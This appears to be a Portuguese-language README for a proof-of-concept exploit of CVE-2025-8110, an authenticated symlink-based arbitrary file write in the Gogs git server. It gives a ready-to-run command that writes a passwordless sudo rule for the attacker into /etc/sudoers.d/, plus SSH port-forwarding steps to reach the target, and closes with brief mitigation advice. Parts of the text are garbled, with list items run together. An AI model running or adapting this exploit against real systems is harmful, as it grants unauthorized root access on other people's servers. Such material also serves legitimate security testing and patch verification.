
PoC para CVE-2025-8110 - escrita arbitrária de arquivos no Gogs via symlink
Prova de conceito para uma escrita arbitrária de arquivos autenticada no Gogs. Ao enviar (push) um repositório que contém um link simbólico apontando para fora do repositório e depois atualizar o conteúdo desse link por meio da API, um usuário autenticado pode sobrescrever arquivos no host com os privilégios da conta que executa o Gogs.
Somente testes autorizados e educação. Execute isto apenas contra sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar. Você é responsável pelo uso que fizer.
malicious_link -> /path/on/host) e faça push.PUT para a Contents API para atualizar malicious_link. O Gogs segue o
link simbólico e grava o conteúdo fornecido no caminho de destino — com seus próprios
privilégios. Se o Gogs for executado como root, esta é uma primitiva direta de escalonamento
de privilégios (por exemplo, adicionando uma regra em /etc/sudoers.d/).O PUT da API é o que realmente dispara a gravação; o push apenas coloca o link simbólico no lugar.
git disponível no PATHpip install -r requirements.txt
python3 exploit.py \
-u http://127.0.0.1:3000 \
--user <username> \
--password '<password>' \
--target /etc/sudoers.d/pwned \
--payload '<username> ALL=(ALL) NOPASSWD: ALL'
Omita --password para que a senha seja solicitada com segurança em vez de passá-la na linha de comando.
O Gogs geralmente está vinculado a localhost no alvo. Use o encaminhamento de porta local via SSH para expô-lo à sua máquina (ajuste as portas conforme o alvo):
ssh -L 3000:127.0.0.1:3000 user@target
# then point the exploit at http://127.0.0.1:3000
Após uma execução bem-sucedida, verifique no host (como o usuário relevante):
cat /etc/sudoers.d/pwned
sudo -l
Se você gravou uma regra de sudoers, observe que os arquivos em /etc/sudoers.d/ devem ser válidos e
ter permissões adequadas para que o sudo os considere.
auto_init retorna HTTP 500 — o script recorre à criação de um repositório vazio
e o preenche com um git init + push local.master vs main.Atualize para uma versão do Gogs que valide links simbólicos na Contents API. Como defesa em profundidade, evite executar o Gogs como root e isole o armazenamento do repositório.
MIT — consulte LICENSE.